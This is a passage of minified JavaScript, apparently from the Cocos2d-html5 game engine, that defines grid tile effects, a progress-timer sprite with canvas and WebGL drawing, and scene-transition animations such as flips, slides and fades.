  725. b.pq=b.sc.extend({My:function(a,c){var d=this.Y.width*c,e=this.Y.height*c;return 0==d+e?1:Math.pow((a.width+a.height)/(d+e),6)},FG:function(a){this.$e(a,this.eg(a))},EG:function(a){this.$e(a,new b.Du)},OP:function(a,c){var d=this.eg(a),e=this.target.grid.WE();d.F.x+=e.x/2*(1-c);d.F.y+=e.y/2*(1-c);d.M.x-=e.x/2*(1-c);d.M.y+=e.y/2*(1-c);d.L.x+=e.x/2*(1-c);d.L.y-=e.y/2*(1-c);d.J.x-=e.x/2*(1-c);d.J.y-=e.y/2*(1-c);this.$e(a,d)},update:function(a){for(var c=this.Y,d=N(0,0),e=O(0,0),f,g=0;g<c.width;++g)for(var h=
  726. 0;h<c.height;++h)d.x=g,d.y=h,e.width=g,e.height=h,f=this.My(e,a),0==f?this.EG(d):1>f?this.OP(d,f):this.FG(d)}});b.pq.create=function(a,c){return new b.pq(a,c)};b.kz=b.pq.extend({My:function(a,c){return 0==a.width+a.height?1:Math.pow((this.Y.width*(1-c)+this.Y.height*(1-c))/(a.width+a.height),6)}});b.kz.create=function(a,c){return new b.kz(a,c)};
  727. b.vu=b.pq.extend({My:function(a,c){var d=this.Y.height*c;return 0==d?1:Math.pow(a.height/d,6)},OP:function(a,c){var d=this.eg(a),e=this.target.grid.WE();d.F.y+=e.y/2*(1-c);d.M.y+=e.y/2*(1-c);d.L.y-=e.y/2*(1-c);d.J.y-=e.y/2*(1-c);this.$e(a,d)}});b.vu.create=function(a,c){return new b.vu(a,c)};b.lz=b.vu.extend({My:function(a,c){return 0==a.height?1:Math.pow(this.Y.height*(1-c)/a.height,6)}});b.lz.create=function(a,c){return new b.lz(a,c)};
  728. b.qA=b.sc.extend({WC:null,wj:0,ui:null,ctor:function(a,c,d){b.ic.prototype.ctor.call(this);this.ui=[];void 0!==c&&this.d(a,c,d)},d:function(a,c,d){return b.sc.prototype.d.call(this,a,c)?(this.WC=d||0,this.ui.length=0,!0):!1},xG:function(a,c){for(var d=c-1;0<=d;d--){var e=0|b.Bb()%(d+1),f=a[d];a[d]=a[e];a[e]=f}},FG:function(a){this.$e(a,this.eg(a))},EG:function(a){this.$e(a,new b.Du)},v:function(a){b.sc.prototype.v.call(this,a);this.wj=this.Y.width*this.Y.height;a=this.ui;for(var c=a.length=0;c<this.wj;++c)a[c]=
  729. c;this.xG(a,this.wj)},update:function(a){a=0|a*this.wj;for(var c=this.Y,d,e=N(0,0),f=this.ui,g=0;g<this.wj;g++)d=f[g],e.x=0|d/c.height,e.y=d%(0|c.height),g<a?this.EG(e):this.FG(e)}});b.qA.create=function(a,c,d){return new b.qA(a,c,d)};
  730. b.OI=b.sc.extend({tf:0,ab:0,bb:0,ctor:function(a,c,d,e){b.ic.prototype.ctor.call(this);void 0!==e&&this.d(a,c,d,e)},bp:function(){return this.ab},Dp:function(a){this.ab=a},Jm:function(){return this.bb},Ym:function(a){this.bb=a},d:function(a,c,d,e){return b.sc.prototype.d.call(this,a,c)?(this.tf=d,this.ab=e,this.bb=1,!0):!1},update:function(a){for(var c=this.Y,d=this.tf,e=this.ab,f=this.bb,g=N(0,0),h,k=0;k<c.width;k++)for(var m=0;m<c.height;m++)g.x=k,g.y=m,h=this.eg(g),h.F.z=Math.sin(a*Math.PI*d*2+
  731. 0.01*(h.F.y+h.F.x))*e*f,h.M.z=h.F.z,h.L.z=h.F.z,h.J.z=h.F.z,this.$e(g,h)}});b.OI.create=function(a,c,d,e){return new b.OI(a,c,d,e)};
  732. b.hH=b.sc.extend({fj:0,ab:0,bb:0,ctor:function(a,c,d,e){b.ic.prototype.ctor.call(this);void 0!==e&&this.d(a,c,d,e)},bp:function(){return this.ab},Dp:function(a){this.ab=a},Jm:function(){return this.bb},Ym:function(a){this.bb=a},d:function(a,c,d,e){return b.sc.prototype.d.call(this,a,c)?(this.fj=d,this.ab=e,this.bb=1,!0):!1},update:function(a){var c=Math.sin(Math.PI*a*this.fj*2)*this.ab*this.bb;a=Math.sin(Math.PI*(a*this.fj*2+1))*this.ab*this.bb;for(var d=this.Y,e=this.target.grid,f,g=N(0,0),h=0;h<
  733. d.width;h++)for(var k=0;k<d.height;k++)g.x=h,g.y=k,f=e.eg(g),0==(h+k)%2?(f.F.z+=c,f.M.z+=c,f.L.z+=c,f.J.z+=c):(f.F.z+=a,f.M.z+=a,f.L.z+=a,f.J.z+=a),e.$e(g,f)}});b.hH.create=function(a,c,d,e){return new b.hH(a,c,d,e)};
  734. b.aA=b.sc.extend({DX:0,Bs:null,ctor:function(a,c){b.ic.prototype.ctor.call(this);void 0!==c&&this.d(a,c)},d:function(a,c){this.DX=c;return b.sc.prototype.d.call(this,a,O(1,c))},update:function(a){for(var c=this.Y,d=this.Bs.width,e,f,g=N(0,0),h=0;h<c.height;++h)g.y=h,e=this.eg(g),f=1,0==h%2&&(f=-1),e.F.x+=f*d*a,e.M.x+=f*d*a,e.L.x+=f*d*a,e.J.x+=f*d*a,this.$e(g,e)},v:function(a){b.sc.prototype.v.call(this,a);this.Bs=b.D.Ws()}});b.aA.create=function(a,c){return new b.aA(a,c)};
  735. b.$z=b.sc.extend({lV:0,Bs:null,ctor:function(a,c){b.ic.prototype.ctor.call(this);void 0!==c&&this.d(a,c)},d:function(a,c){this.lV=c;return b.sc.prototype.d.call(this,a,O(c,1))},update:function(a){for(var c=this.Y.width,d=this.Bs.height,e,f,g=N(0,0),h=0;h<c;++h)g.x=h,e=this.eg(g),f=1,0==h%2&&(f=-1),e.F.y+=f*d*a,e.M.y+=f*d*a,e.L.y+=f*d*a,e.J.y+=f*d*a,this.$e(g,e)},v:function(a){b.sc.prototype.v.call(this,a);this.Bs=b.D.Ws()}});b.$z.create=function(a,c){return new b.$z(a,c)};b.Bu=b.Uc.extend({update:function(a){var c=Math.max(0,a-0.25),c=-100-c*c*500,d=+Math.PI/2+-Math.PI/2*Math.sqrt(a);a=Math.sin(d);for(var d=Math.cos(d),e=this.Y,f=N(0,0),g=0;g<=e.width;++g)for(var h=0;h<=e.height;++h){f.x=g;f.y=h;var k=this.Kc(f),m=Math.sqrt(k.x*k.x+(k.y-c)*(k.y-c)),p=m*a,r=Math.asin(k.x/m)/a,s=Math.cos(r);k.x=r<=Math.PI?p*Math.sin(r):0;k.y=m+c-p*(1-s)*a;k.z=p*(1-s)*d/7;0.5>k.z&&(k.z=0.5);this.Kd(f,k)}}});b.Bu.create=function(a,c){return new b.Bu(a,c)};b.Ya=b.ia.extend({mc:null,mi:0,dc:null,ph:null,Kl:null,Dd:!1,ub:"ProgressTimer",d0:function(){return N(this.ph.x,this.ph.y)},A3:function(a){this.ph=b.vO(a)},w_:function(){return N(this.Kl.x,this.Kl.y)},e3:function(a){this.Kl=b.vO(a)},$E:function(){return this.mc},h0:function(){return this.mi},wN:function(){return this.dc},E3:function(a){this.mi!=a&&(this.mi=b.Sc(a,0,100),this.ND())},Jd:function(){},ue:function(){return!1},j1:function(){return this.Dd},YA:function(a){if(a<b.Ya.XH){var c=b.Ya.BT;return this.Dd?
  736. N(c>>7-(a<<1)&1,c>>7-((a<<1)+1)&1):N(c>>(a<<1)+1&1,c>>(a<<1)&1)}return N(0,0)},gw:null,xD:270,tB:270,Ie:0,jB:!1,TA:null,od:0,yc:null,sf:null,UD:null,xs:!1,ctor:null,hr:function(){b.ia.prototype.ctor.call(this);this.mc=b.Ya.Xh;this.mi=0;this.ph=N(0,0);this.Kl=N(0,0);this.Dd=!1;this.dc=null;this.gw=N(0,0);this.tB=this.xD=270;this.Ie=0;this.jB=!1;this.TA=Q(0,0,0,0)},ir:function(){b.ia.prototype.ctor.call(this);this.mc=b.Ya.Xh;this.mi=0;this.ph=N(0,0);this.Kl=N(0,0);this.Dd=!1;this.dc=null;this.UD=b.k.createBuffer();
  737. this.od=0;this.sf=this.yc=null;this.xs=!1},La:function(a){this.dc.color=a;this.fc()},Ba:function(a){this.dc.opacity=a;this.fc()},Re:function(){return this.dc.color},Se:function(){return this.dc.opacity},rP:null,YX:function(a){this.Dd!==a&&(this.Dd=a)},ZX:function(a){this.Dd!==a&&(this.Dd=a,this.sf=this.yc=null,this.od=0)},Iy:null,dY:function(a){this.dc!=a&&(this.dc=a,this.width=this.dc.width,this.height=this.dc.height)},eY:function(a){a&&this.dc!=a&&(this.dc=a,this.width=a.width,this.height=a.height,
  738. this.yc&&(this.sf=this.yc=null,this.od=0))},tG:null,lY:function(a){a!==this.mc&&(this.mc=a)},mY:function(a){a!==this.mc&&(this.yc&&(this.sf=this.yc=null,this.od=0),this.mc=a)},kG:null,WX:function(a){this.Dd!==a&&(this.Dd=a)},XX:function(a){this.Dd!==a&&(this.Dd=a,this.sf=this.yc=null,this.od=0)},qe:function(a){var c=this.dc;if(!c)return{ea:0,fa:0};var d=c.quad,e=N(d.F.l.ea,d.F.l.fa),d=N(d.J.l.ea,d.J.l.fa);c.textureRectRotated&&(c=a.x,a.x=a.y,a.y=c);return{ea:e.x*(1-a.x)+d.x*a.x,fa:e.y*(1-a.y)+d.y*
  739. a.y}},re:function(a){if(!this.dc)return{x:0,y:0};var c=this.dc.quad,d=N(c.F.i.x,c.F.i.y),c=N(c.J.i.x,c.J.i.y);return{x:d.x*(1-a.x)+c.x*a.x,y:d.y*(1-a.y)+c.y*a.y}},kF:null,zW:function(a){this.percentage=0;this.anchorY=this.anchorX=0.5;this.mc=b.Ya.Xh;this.Dd=!1;this.midPoint=N(0.5,0.5);this.barChangeRate=N(1,1);this.sprite=a;return!0},AW:function(a){this.percentage=0;this.sf=this.yc=null;this.od=0;this.anchorY=this.anchorX=0.5;this.mc=b.Ya.Xh;this.Dd=!1;this.midPoint=N(0.5,0.5);this.barChangeRate=
  740. N(1,1);this.sprite=a;this.shaderProgram=b.Ld.nc(b.Ti);return!0},Z:null,Ql:function(a){a=a||b.k;var c=this.dc;c.mo&&(a.globalCompositeOperation="lighter");var d=b.view.pa,e=b.view.Ta;a.globalAlpha=c.Ca/255;var f=c.ha,g=c.O,h=c.Eb,k=c.rB,m=0|h.x,p=-h.y-f.height,r=c.Do;k.width=f.width*d;k.height=f.height*e;a.save();c.Qb&&(m=-h.x-f.width,a.scale(-1,1));c.Rb&&(p=h.y,a.scale(1,-1));m*=d;p*=e;this.mc==b.Ya.Fl?(f=this.TA,a.beginPath(),a.rect(f.x*d,f.y*e,f.width*d,f.height*e),a.clip(),a.closePath()):this.mc==
  741. b.Ya.Xh&&(f=this.gw.x*d,h=this.gw.y*e,a.beginPath(),a.arc(f,h,this.Ie*e,Math.PI/180*this.xD,Math.PI/180*this.tB,this.jB),a.lineTo(f,h),a.clip(),a.closePath());c.K&&r.Qp?(d=c.K.Db,this.nv?a.drawImage(d,0,0,r.width,r.height,m,p,k.width,k.height):a.drawImage(d,r.x,r.y,r.width,r.height,m,p,k.width,k.height)):0!==g.width&&(k=this.color,a.fillStyle="rgba("+k.r+","+k.g+","+k.b+",1)",a.fillRect(m,p,g.width*d,g.height*e));a.restore();b.cg()},$i:function(a){a=a||b.k;if(this.yc&&this.dc){b.kt(this);var c=this.dc.Hh();
  742. b.Mh(c.src,c.U);b.Ic(b.Gl);b.te(this.dc.texture);a.bindBuffer(a.ARRAY_BUFFER,this.UD);this.xs&&(a.bufferData(a.ARRAY_BUFFER,this.sf,a.DYNAMIC_DRAW),this.xs=!1);c=b.xd.BYTES_PER_ELEMENT;a.vertexAttribPointer(b.tb,2,a.FLOAT,!1,c,0);a.vertexAttribPointer(b.Ae,4,a.UNSIGNED_BYTE,!0,c,8);a.vertexAttribPointer(b.yd,2,a.FLOAT,!1,c,12);this.mc===b.Ya.Xh?a.drawArrays(a.TRIANGLE_FAN,0,this.od):this.mc==b.Ya.Fl&&(this.Dd?(a.drawArrays(a.TRIANGLE_STRIP,0,this.od/2),a.drawArrays(a.TRIANGLE_STRIP,4,this.od/2),b.bg++):
  743. a.drawArrays(a.TRIANGLE_STRIP,0,this.od));b.bg++}},LY:function(){if(this.dc){var a,c=this.ph;a=this.mi/100;var d=N(c.x,1),e=b.i2(d,c,2*b.PI*(this.Dd?a:1-a)),f=0;if(0==a)e=d,f=0;else if(1==a)e=d,f=4;else{var g=b.eR,h=b.Ya.XH;for(a=0;a<=h;++a){var k=this.YA(a%h),m=this.YA((a+(h-1))%h);0==a?m=b.yO(k,m,1-c.x):4==a&&(k=b.yO(k,m,1-c.x));var p=N(0,0);b.LF(k,m,c,e,p)&&(0!=a&&4!=a||0<=p.x&&1>=p.x)&&0<=p.y&&p.y<g&&(g=p.y,f=a)}e=b.Hi(c,b.Ii(b.Id(e,c),g))}g=!0;this.od!=f+3&&(g=!1,this.sf=this.yc=null,this.od=
  744. 0);if(!this.yc){h=this.od=f+3;k=b.xd.BYTES_PER_ELEMENT;this.sf=new ArrayBuffer(h*k);m=[];for(a=0;a<h;a++)m[a]=new b.xd(null,null,null,this.sf,a*k);this.yc=m;if(!this.yc){b.log("cc.ProgressTimer._updateRadial() : Not enough memory");return}}this.fc();h=this.yc;if(!g)for(h[0].l=this.qe(c),h[0].i=this.re(c),h[1].l=this.qe(d),h[1].i=this.re(d),a=0;a<f;a++)c=this.YA(a),h[a+2].l=this.qe(c),h[a+2].i=this.re(c);h[this.od-1].l=this.qe(e);h[this.od-1].i=this.re(e)}},FY:function(){if(this.dc){var a,c=this.mi/
  745. 100,d=this.Kl,d=b.Ii(N(1-d.x+c*d.x,1-d.y+c*d.y),0.5),c=b.Id(this.ph,d),d=b.Hi(this.ph,d);0>c.x&&(d.x+=-c.x,c.x=0);1<d.x&&(c.x-=d.x-1,d.x=1);0>c.y&&(d.y+=-c.y,c.y=0);1<d.y&&(c.y-=d.y-1,d.y=1);if(this.Dd){if(!this.yc){this.od=8;var e=b.xd.BYTES_PER_ELEMENT;this.sf=new ArrayBuffer(8*e);var f=[];for(a=0;8>a;a++)f[a]=new b.xd(null,null,null,this.sf,a*e);f[0].l=this.qe(N(0,1));f[0].i=this.re(N(0,1));f[1].l=this.qe(N(0,0));f[1].i=this.re(N(0,0));f[6].l=this.qe(N(1,1));f[6].i=this.re(N(1,1));f[7].l=this.qe(N(1,
  746. 0));f[7].i=this.re(N(1,0));this.yc=f}a=this.yc;a[2].l=this.qe(N(c.x,d.y));a[2].i=this.re(N(c.x,d.y));a[3].l=this.qe(N(c.x,c.y));a[3].i=this.re(N(c.x,c.y));a[4].l=this.qe(N(d.x,d.y));a[4].i=this.re(N(d.x,d.y));a[5].l=this.qe(N(d.x,c.y));a[5].i=this.re(N(d.x,c.y))}else{if(!this.yc)for(this.od=4,e=b.xd.BYTES_PER_ELEMENT,this.sf=new ArrayBuffer(4*e),this.yc=[],a=0;4>a;a++)this.yc[a]=new b.xd(null,null,null,this.sf,a*e);a=this.yc;a[0].l=this.qe(N(c.x,d.y));a[0].i=this.re(N(c.x,d.y));a[1].l=this.qe(N(c.x,
  747. c.y));a[1].i=this.re(N(c.x,c.y));a[2].l=this.qe(N(d.x,d.y));a[2].i=this.re(N(d.x,d.y));a[3].l=this.qe(N(d.x,c.y));a[3].i=this.re(N(d.x,c.y))}this.fc()}},fc:function(){if(this.dc&&this.yc){for(var a=this.dc.quad.L.t,c=this.yc,d=0,e=this.od;d<e;++d)c[d].t=a;this.xs=!0}},ND:null,HY:function(){var a=this.dc,c=a.width,d=a.height,e=this.ph;if(this.mc==b.Ya.Xh){this.Ie=Math.round(Math.sqrt(c*c+d*d));var f,g=!1,h=this.gw;h.x=c*e.x;h.y=-d*e.y;this.Dd?(f=270,e=270-3.6*this.mi):(e=-90,f=-90+3.6*this.mi);a.Qb&&
  748. (h.x-=2*c*this.ph.x,e=-e-180,f=-f-180,g=!g);a.Rb&&(h.y+=2*d*this.ph.y,g=!g,e=-e,f=-f);this.xD=e;this.tB=f;this.jB=g}else{f=this.Kl;h=this.mi/100;g=this.TA;f=O(c*(1-f.x),d*(1-f.y));var h=O((c-f.width)*h,(d-f.height)*h),h=O(f.width+h.width,f.height+h.height),k=N(c*e.x,d*e.y);f=k.x-h.width/2;0.5<e.x&&h.width/2>=c-k.x&&(f=c-h.width);c=k.y-h.height/2;0.5<e.y&&h.height/2>=d-k.y&&(c=d-h.height);g.x=0;d=1;a.Qb&&(g.x-=h.width,d=-1);0<f&&(g.x+=f*d);g.y=0;d=1;a.Rb&&(g.y+=h.height,d=-1);0<c&&(g.y-=c*d);g.width=
  749. h.width;g.height=-h.height}},IY:function(){var a=this.mc;a===b.Ya.Xh?this.LY():a===b.Ya.Fl&&this.FY();this.xs=!0}});n=b.Ya.prototype;b.A==b.$?(n.ctor=n.ir,n.rP=n.ZX,n.Iy=n.eY,n.tG=n.mY,n.kG=n.XX,n.kF=n.AW,n.Z=n.$i,n.ND=n.IY):(n.ctor=n.hr,n.rP=n.YX,n.Iy=n.dY,n.tG=n.lY,n.kG=n.WX,n.kF=n.zW,n.Z=n.Ql,n.ND=b.Ya.prototype.HY);b.f(n,"midPoint",n.d0,n.A3);b.f(n,"barChangeRate",n.w_,n.e3);b.f(n,"type",n.$E,n.tG);b.f(n,"percentage",n.h0,n.E3);b.f(n,"sprite",n.wN,n.Iy);b.f(n,"reverseDir",n.j1,n.kG);
  750. b.Ya.create=function(a){var c=new b.Ya;return c.kF(a)?c:null};b.Ya.XH=4;b.Ya.BT=75;b.Ya.Xh=0;b.Ya.Fl=1;b.Gz=b.u.extend({nd:0,Pc:0,ctor:function(a,c){b.u.prototype.ctor.call(this);this.Pc=this.nd=0;void 0!==c&&this.d(a,c)},d:function(a,c){return b.u.prototype.d.call(this,a)?(this.nd=c,!0):!1},j:function(){var a=new b.Gz;a.d(this.m,this.nd);return a},reverse:function(){b.log("cc.ProgressTo.reverse(): reverse hasn't been supported.");return null},v:function(a){b.u.prototype.v.call(this,a);this.Pc=a.percentage;100==this.Pc&&(this.Pc=0)},update:function(a){this.target instanceof b.Ya&&(this.target.percentage=
  751. this.Pc+(this.nd-this.Pc)*a)}});b.Gz.create=function(a,c){return new b.Gz(a,c)};
  752. b.Aq=b.u.extend({nd:0,Pc:0,ctor:function(a,c,d){b.u.prototype.ctor.call(this);this.Pc=this.nd=0;void 0!==d&&this.d(a,c,d)},d:function(a,c,d){return b.u.prototype.d.call(this,a)?(this.nd=d,this.Pc=c,!0):!1},j:function(){var a=new b.Aq;a.d(this.m,this.Pc,this.nd);return a},reverse:function(){return b.Aq.create(this.m,this.nd,this.Pc)},v:function(a){b.u.prototype.v.call(this,a)},update:function(a){this.target instanceof b.Ya&&(this.target.percentage=this.Pc+(this.nd-this.Pc)*a)}});
  753. b.Aq.create=function(a,c,d){return new b.Aq(a,c,d)};b.Dq=4208917214;b.z7=b.ja.extend({vf:function(){}});b.r7=0;b.Yj=1;b.Pu=0;b.q7=1;
  754. b.wa=b.Cf.extend({ma:null,eb:null,m:null,nh:!1,FK:!1,ub:"TransitionScene",ctor:function(a,c){b.Cf.prototype.ctor.call(this);void 0!==a&&void 0!==c&&this.d(a,c)},BL:function(){this.Rt(this.BL);var a=b.D;this.FK=a.Ik;a.Xm(this.ma);b.sa.ve(!0);this.eb.visible=!0},si:function(){this.nh=!0},Z:function(){this.nh?(this.eb.T(),this.ma.T()):(this.ma.T(),this.eb.T())},ba:function(){b.q.prototype.ba.call(this);b.sa.ve(!1);this.eb.dg();this.ma.ba()},vb:function(){b.q.prototype.vb.call(this);b.sa.ve(!0);this.eb.vb();
  755. this.ma.Qh()},Pe:function(){b.q.prototype.Pe.call(this);this.FK&&this.eb.Pe()},d:function(a,c){if(!c)throw"cc.TransitionScene.initWithDuration(): Argument scene must be non-nil";if(this.G()){this.m=a;this.Mb({x:0,y:0,anchorX:0,anchorY:0});this.ma=c;this.eb=b.D.ad;this.eb||(this.eb=b.Cf.create(),this.eb.G());if(this.ma==this.eb)throw"cc.TransitionScene.initWithDuration(): Incoming scene must be different from the outgoing scene";this.si();return!0}return!1},finish:function(){this.ma.Mb({visible:!0,
  756. x:0,y:0,scale:1,rotation:0});b.A===b.$&&this.ma.Km().restore();this.eb.Mb({visible:!1,x:0,y:0,scale:1,rotation:0});b.A===b.$&&this.eb.Km().restore();this.Cp(this.BL,0)},Bx:function(){this.ma.visible=!0;this.eb.visible=!1}});b.wa.create=function(a,c){return new b.wa(a,c)};b.ck=b.wa.extend({bm:0,d:function(a,c,d){b.wa.prototype.d.call(this,a,c)&&(this.bm=d);return!0}});b.ck.create=function(a,c,d){var e=new b.ck;e.d(a,c,d);return e};
  757. b.xI=b.wa.extend({ba:function(){b.wa.prototype.ba.call(this);this.ma.Mb({scale:0.001,anchorX:0.5,anchorY:0.5});this.eb.Mb({scale:1,anchorX:0.5,anchorY:0.5});var a=b.qa.create(b.ze.create(b.tn.create(this.m/2,0.001),b.Vj.create(this.m/2,720)),b.pc.create(this.m/2));this.eb.ua(a);this.ma.ua(b.qa.create(a.reverse(),b.jb.create(this.finish,this)))}});b.xI.create=function(a,c){var d=new b.xI;return null!=d&&d.d(a,c)?d:null};
  758. b.mI=b.wa.extend({ba:function(){b.wa.prototype.ba.call(this);var a=b.D.R;this.ma.Mb({scale:0.5,x:a.width,y:0,anchorX:0.5,anchorY:0.5});this.eb.anchorX=0.5;this.eb.anchorY=0.5;var c=b.tg.create(this.m/4,N(-a.width,0),a.width/4,2),d=b.wd.create(this.m/4,1),a=b.wd.create(this.m/4,0.5),a=b.qa.create(a,c),c=b.qa.create(c,d),d=b.pc.create(this.m/2);this.eb.ua(a);this.ma.ua(b.qa.create(d,c,b.jb.create(this.finish,this)))}});b.mI.create=function(a,c){var d=new b.mI;return null!=d&&d.d(a,c)?d:null};
  759. b.Qq=b.wa.extend({ba:function(){b.wa.prototype.ba.call(this);this.Cj();var a=this.action();this.ma.ua(b.qa.create(this.vf(a),b.jb.create(this.finish,this)))},Cj:function(){this.ma.P(-b.D.R.width,0)},action:function(){return b.wq.create(this.m,N(0,0))},vf:function(a){return b.rl.create(a,2)}});b.Qq.create=function(a,c){var d=new b.Qq;return null!=d&&d.d(a,c)?d:null};b.oI=b.Qq.extend({Cj:function(){this.ma.P(b.D.R.width,0)}});b.oI.create=function(a,c){var d=new b.oI;return null!=d&&d.d(a,c)?d:null};
  760. b.pI=b.Qq.extend({Cj:function(){this.ma.P(0,b.D.R.height)}});b.pI.create=function(a,c){var d=new b.pI;return null!=d&&d.d(a,c)?d:null};b.nI=b.Qq.extend({Cj:function(){this.ma.P(0,-b.D.R.height)}});b.nI.create=function(a,c){var d=new b.nI;return null!=d&&d.d(a,c)?d:null};b.Pj=0.5;
  761. b.Rq=b.wa.extend({si:function(){this.nh=!1},ba:function(){b.wa.prototype.ba.call(this);this.Cj();var a=this.action(),c=this.action(),a=this.vf(a),c=b.qa.create(this.vf(c),b.jb.create(this.finish,this));this.ma.ua(a);this.eb.ua(c)},Cj:function(){this.ma.P(-b.D.R.width+b.Pj,0)},action:function(){return b.df.create(this.m,N(b.D.R.width-b.Pj,0))},vf:function(a){return b.rl.create(a,2)}});b.Rq.create=function(a,c){var d=new b.Rq;return null!=d&&d.d(a,c)?d:null};
  762. b.AI=b.Rq.extend({si:function(){this.nh=!0},Cj:function(){this.ma.P(b.D.R.width-b.Pj,0)},action:function(){return b.df.create(this.m,N(-(b.D.R.width-b.Pj),0))}});b.AI.create=function(a,c){var d=new b.AI;return null!=d&&d.d(a,c)?d:null};b.zI=b.Rq.extend({si:function(){this.nh=!1},Cj:function(){this.ma.P(0,b.D.R.height-b.Pj)},action:function(){return b.df.create(this.m,N(0,-(b.D.R.height-b.Pj)))}});b.zI.create=function(a,c){var d=new b.zI;return null!=d&&d.d(a,c)?d:null};
  763. b.BI=b.Rq.extend({si:function(){this.nh=!0},Cj:function(){this.ma.P(0,-(b.D.R.height-b.Pj))},action:function(){return b.df.create(this.m,N(0,b.D.R.height-b.Pj))}});b.BI.create=function(a,c){var d=new b.BI;return null!=d&&d.d(a,c)?d:null};
  764. b.yI=b.wa.extend({ba:function(){b.wa.prototype.ba.call(this);this.ma.Mb({scale:0.001,anchorX:2/3,anchorY:0.5});this.eb.Mb({scale:1,anchorX:1/3,anchorY:0.5});var a=b.wd.create(this.m,0.01),c=b.wd.create(this.m,1);this.ma.ua(this.vf(c));this.eb.ua(b.qa.create(this.vf(a),b.jb.create(this.finish,this)))},vf:function(a){return b.rl.create(a,2)}});b.yI.create=function(a,c){var d=new b.yI;return null!=d&&d.d(a,c)?d:null};
  765. b.kI=b.ck.extend({ba:function(){b.wa.prototype.ba.call(this);var a,c;this.ma.visible=!1;var d;this.bm===b.Yj?(a=90,d=270,c=90):(a=-90,d=90,c=-90);a=b.qa.create(b.pc.create(this.m/2),b.Df.create(),b.be.create(this.m/2,1,0,d,a,0,0),b.jb.create(this.finish,this));c=b.qa.create(b.be.create(this.m/2,1,0,0,c,0,0),b.fh.create(),b.pc.create(this.m/2));this.ma.ua(a);this.eb.ua(c)}});b.kI.create=function(a,c,d){null==d&&(d=b.Yj);var e=new b.kI;e.d(a,c,d);return e};
  766. b.lI=b.ck.extend({ba:function(){b.wa.prototype.ba.call(this);var a,c;this.ma.visible=!1;var d;this.bm==b.Pu?(a=90,d=270,c=90):(a=-90,d=90,c=-90);a=b.qa.create(b.pc.create(this.m/2),b.Df.create(),b.be.create(this.m/2,1,0,d,a,90,0),b.jb.create(this.finish,this));c=b.qa.create(b.be.create(this.m/2,1,0,0,c,90,0),b.fh.create(),b.pc.create(this.m/2));this.ma.ua(a);this.eb.ua(c)}});b.lI.create=function(a,c,d){null==d&&(d=b.Pu);var e=new b.lI;e.d(a,c,d);return e};
  767. b.jI=b.ck.extend({ba:function(){b.wa.prototype.ba.call(this);var a,c;this.ma.visible=!1;var d;this.bm===b.Yj?(a=90,d=270,c=90):(a=-90,d=90,c=-90);a=b.qa.create(b.pc.create(this.m/2),b.Df.create(),b.be.create(this.m/2,1,0,d,a,-45,0),b.jb.create(this.finish,this));c=b.qa.create(b.be.create(this.m/2,1,0,0,c,45,0),b.fh.create(),b.pc.create(this.m/2));this.ma.ua(a);this.eb.ua(c)}});b.jI.create=function(a,c,d){null==d&&(d=b.Yj);var e=new b.jI;e.d(a,c,d);return e};
  768. b.FI=b.ck.extend({ba:function(){b.wa.prototype.ba.call(this);var a,c;this.ma.visible=!1;var d;this.bm===b.Yj?(a=90,d=270,c=90):(a=-90,d=90,c=-90);a=b.qa.create(b.pc.create(this.m/2),b.ze.create(b.be.create(this.m/2,1,0,d,a,0,0),b.wd.create(this.m/2,1),b.Df.create()),b.jb.create(this.finish,this));c=b.qa.create(b.ze.create(b.be.create(this.m/2,1,0,0,c,0,0),b.wd.create(this.m/2,0.5)),b.fh.create(),b.pc.create(this.m/2));this.ma.scale=0.5;this.ma.ua(a);this.eb.ua(c)}});
  769. b.FI.create=function(a,c,d){null==d&&(d=b.Yj);var e=new b.FI;e.d(a,c,d);return e};
  770. b.GI=b.ck.extend({ba:function(){b.wa.prototype.ba.call(this);var a,c;this.ma.visible=!1;var d;this.bm===b.Pu?(a=90,d=270,c=90):(a=-90,d=90,c=-90);a=b.qa.create(b.pc.create(this.m/2),b.ze.create(b.be.create(this.m/2,1,0,d,a,90,0),b.wd.create(this.m/2,1),b.Df.create()),b.jb.create(this.finish,this));c=b.qa.create(b.ze.create(b.be.create(this.m/2,1,0,0,c,90,0),b.wd.create(this.m/2,0.5)),b.fh.create(),b.pc.create(this.m/2));this.ma.scale=0.5;this.ma.ua(a);this.eb.ua(c)}});
  771. b.GI.create=function(a,c,d){null==d&&(d=b.Pu);var e=new b.GI;e.d(a,c,d);return e};
  772. b.EI=b.ck.extend({ba:function(){b.wa.prototype.ba.call(this);var a,c;this.ma.visible=!1;var d;this.bm===b.Yj?(a=90,d=270,c=90):(a=-90,d=90,c=-90);a=b.qa.create(b.pc.create(this.m/2),b.ze.create(b.be.create(this.m/2,1,0,d,a,-45,0),b.wd.create(this.m/2,1),b.Df.create()),b.Df.create(),b.jb.create(this.finish,this));c=b.qa.create(b.ze.create(b.be.create(this.m/2,1,0,0,c,45,0),b.wd.create(this.m/2,0.5)),b.fh.create(),b.pc.create(this.m/2));this.ma.scale=0.5;this.ma.ua(a);this.eb.ua(c)}});
  773. b.EI.create=function(a,c,d){null==d&&(d=b.Yj);var e=new b.EI;e.d(a,c,d);return e};
  774. b.vn=b.wa.extend({fe:null,ctor:function(){b.wa.prototype.ctor.call(this);this.fe=b.color()},ba:function(){b.wa.prototype.ba.call(this);var a=b.gd.create(this.fe);this.ma.visible=!1;this.N(a,2,b.Dq);var a=this.Ih(b.Dq),c=b.qa.create(b.ln.create(this.m/2),b.jb.create(this.Bx,this),b.tl.create(this.m/2),b.jb.create(this.finish,this));a.ua(c)},vb:function(){b.wa.prototype.vb.call(this);this.UF(b.Dq,!1)},d:function(a,c,d){d=d||b.color.BLACK;b.wa.prototype.d.call(this,a,c)&&(this.fe.r=d.r,this.fe.g=d.g,
  775. this.fe.b=d.b,this.fe.a=0);return!0}});b.vn.create=function(a,c,d){var e=new b.vn;e.d(a,c,d);return e};
  776. b.fI=b.wa.extend({ba:function(){b.wa.prototype.ba.call(this);var a=b.color(0,0,0,0),c=b.D.R,a=b.gd.create(a),d=b.sn.create(c.width,c.height);if(null!=d){d.sprite.anchorX=0.5;d.sprite.anchorY=0.5;d.Mb({x:c.width/2,y:c.height/2,anchorX:0.5,anchorY:0.5});d.Eh();this.ma.T();d.end();var e=b.sn.create(c.width,c.height);e.P(c.width/2,c.height/2);e.sprite.anchorX=e.anchorX=0.5;e.sprite.anchorY=e.anchorY=0.5;e.Eh();this.eb.T();e.end();d.sprite.We(b.ONE,b.ONE);e.sprite.We(b.SRC_ALPHA,b.ONE_MINUS_SRC_ALPHA);
